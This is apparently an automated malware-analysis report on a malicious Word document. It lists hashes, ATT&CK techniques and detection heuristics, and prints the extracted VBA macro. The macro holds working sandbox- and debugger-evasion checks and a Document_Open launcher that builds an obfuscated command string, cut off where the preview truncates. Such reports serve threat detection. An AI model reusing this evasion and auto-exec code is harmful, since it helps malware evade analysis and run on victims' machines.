Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 12ab05046a73c455…

MALICIOUS

Office (OOXML)

300.5 KB Created: 2020-07-28 11:18:00 UTC Authoring application: Microsoft Office Word 14.0000 First seen: 2020-09-15
MD5: 9f5730eafea8ba7fd0a93608b3475d42 SHA-1: 7c5075a6d1c0c33ddf2919c9f45472c4b32eceab SHA-256: 12ab05046a73c455cd14831080a05d90a0ac57f1eec0064caccbae7198eaece3
262 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution

The sample is an OOXML document containing a VBA macro with an auto-execute function (Document_Open). This macro uses GetObject to call Win32_Process.Create via WMI, a technique often used to launch malicious payloads. The script also includes anti-analysis checks for debuggers and common analysis tools.

Heuristics 7

  • VBA project inside OOXML medium 5 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • LOLBin reference in VBA critical OLE_VBA_LOLBIN
    LOLBin reference in VBA
  • VBA WMI Win32_Process launcher critical OLE_VBA_WMI_PROCESS_CREATE
    VBA macro builds or references a WMI moniker for Win32_Process and invokes .Create to start a command. This is a high-confidence macro execution chain that often hides the WMI class name through string concatenation or helper functions.
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 5242 bytes
SHA-256: 28393516501a6edeb99e5d716000ad0169f075686874e1907c695a5a33fb2f6b
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Private strFile
Private CmdStr
Private txtName
Private processid
Private OLEWord
Private Result
Private K

#If VBA7 Then
Private Declare PtrSafe Function isDbgPresent Lib "kernel32" Alias "IsDebuggerPresent" () As Boolean
#Else
Private Declare Function isDbgPresent Lib "kernel32" Alias "IsDebuggerPresent" () As Boolean
#End If

Public Function IsProcessListReliable() As Boolean
    Dim objWMIService, objProcess, colProcess
    Dim strComputer, strList
    Dim bannedProcesses As Variant
    
    bannedProcesses = Array("fiddler", "vxstream", _
        "tcpview", "vmware", "procexp", "vmtools", "autoit", _
        "wireshark", "procmon", "idaq", "autoruns", "apatedns", _
        "windbg", "vboxtray")
    
    strComputer = "."

    Set objWMIService = GetObject("winmgmts:" _
    & "{impersonationLevel=impersonate}!\\" _
    & strComputer & "\root\cimv2")
    
    Set colProcess = objWMIService.ExecQuery _
    ("Select * from Win32_Process")
    
    For Each objProcess In colProcess
        For Each proc In bannedProcesses
            If InStr(LCase(objProcess.Name), LCase(proc)) <> 0 Then
                ' Found banned process.
                IsProcessListReliable = False
                Exit Function
            End If
        Next
    Next
    If isDbgPresent() Then
        IsProcessListReliable = False
        Exit Function
    End If
    IsProcessListReliable = (colProcess.Count() > 50)
End Function

Public Function IsHardwareReliable() As Boolean
    Dim objWMIService, objItem, colItems, strComputer
    Dim totalSize, totalMemory, cpusNum As Integer
    
    totalSize = 0
    totalMemory = 0
    cpusNum = 0
    
    Const wbemFlagReturnImmediately = &H10
    Const wbemFlagForwardOnly = &H20

    strComputer = "."
    
    ' Checking total HDD size
    Set objWMIService = GetObject _
    ("winmgmts:\\" & strComputer & "\root\cimv2")
    Set colItems = objWMIService.ExecQuery _
    ("Select * from Win32_LogicalDisk")
    
    For Each objItem In colItems
        Dim num
        num = Int(objItem.Size / 1073741824)
        If num > 0 Then
            totalSize = totalSize + num
        End If
    Next
    
    If totalSize < 60 Then
        ' Total HDD size of the machine must be at least 60GB
        IsHardwareReliable = False
        Exit Function
    End If
    
    ' Checking Memory
    Set colComputer = objWMIService.ExecQuery _
    ("Select * from Win32_ComputerSystem")
    
    For Each objComputer In colComputer
        totalMemory = totalMemory + Int((objComputer.TotalPhysicalMemory) / 1048576) + 1
    Next

    If totalMemory < 1024 Then
        ' Total Memory is less than 1GB
        IsHardwareReliable = False
        Exit Function
    End If
    
    Set colItems2 = objWMIService.ExecQuery("SELECT * FROM Win32_Processor", "WQL", _
        wbemFlagReturnImmediately + wbemFlagForwardOnly)
        
    For Each objItem In colItems2
        cpusNum = cpusNum + objItem.NumberOfLogicalProcessors
    Next
    
    If cpusNum < 2 Then
        ' Nowadays everyone has at least 2 logical cores.
        IsHardwareReliable = False
        Exit Function
    End If
    
    IsHardwareReliable = True
End Function

Public Function IsRunningInSandbox() As Boolean
    Dim test As Boolean
 
    If IsProcessListReliable() <> True Then
        IsRunningInSandbox = True
        Exit Function
    ElseIf IsHardwareReliable() <> True Then
        IsRunningInSandbox = True
        Exit Function
    End If
    IsRunningInSandbox = False
End Function



Private Sub Document_Open()

If IsRunningInSandbox = False Then

strFile = "C:\Sandeep"
txtName = strFile + "\Acquisition"
CmdStr = Chr$(99) & Chr$(109) & Chr$(100) & Chr$(3
... (truncated)
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 16896 bytes
SHA-256: 36d07964245fca9f0150dbc377fc2be33b613c9ff4d5384636f2041f03c5fd1d

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